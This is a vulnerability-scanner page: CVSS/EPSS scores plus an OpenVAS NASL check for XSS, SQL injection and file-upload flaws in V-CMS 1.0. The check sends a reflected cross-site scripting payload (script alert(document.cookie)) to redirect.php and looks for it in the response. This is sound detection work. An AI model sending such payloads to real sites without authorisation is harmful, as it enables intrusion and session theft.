7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
6.5 Medium
AI Score
Confidence
Low
0.951 High
EPSS
Percentile
99.3%
V-CMS is prone to multiple vulnerabilities.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902498");
script_version("2023-12-13T05:05:23+0000");
script_cve_id("CVE-2011-4826", "CVE-2011-4827", "CVE-2011-4828");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2011-12-23 12:08:49 +0530 (Fri, 23 Dec 2011)");
script_name("V-CMS Multiple Vulnerabilities");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://secunia.com/advisories/46861");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50706");
script_xref(name:"URL", value:"http://bugs.v-cms.org/view.php?id=53");
script_xref(name:"URL", value:"http://bugs.v-cms.org/changelog_page.php");
script_xref(name:"URL", value:"http://www.autosectools.com/Advisory/V-CMS-1.0-Arbitrary-Upload-236");
script_xref(name:"URL", value:"http://www.autosectools.com/Advisory/V-CMS-1.0-Reflected-Cross-site-Scripting-234");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in the context of a vulnerable
site and to cause SQL Injection attack to gain sensitive information.");
script_tag(name:"affected", value:"V-CMS version 1.0 and prior.");
script_tag(name:"insight", value:"The flaws are due to improper validation of user-supplied input
via the 'p' parameter to redirect.php and 'user' parameter to process.php and
'includes/inline_image_upload.php' script, which fails to restrict non-logged
in users to upload any files.");
script_tag(name:"solution", value:"Update V-CMS to version 1.1 or later.");
script_tag(name:"summary", value:"V-CMS is prone to multiple vulnerabilities.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );
foreach dir( make_list_unique( "/vcms", "/v-cms", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = dir + "/index.php";
res = http_get_cache( port:port, item:url );
if( ">V-CMS-Powered by V-CMS" >< res ) {
url = dir + "/redirect.php?p=%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27";
req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( res =~ "^HTTP/1\.[01] 200" && "</script><script>alert(document.cookie)</script>" >< res ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
exit( 99 );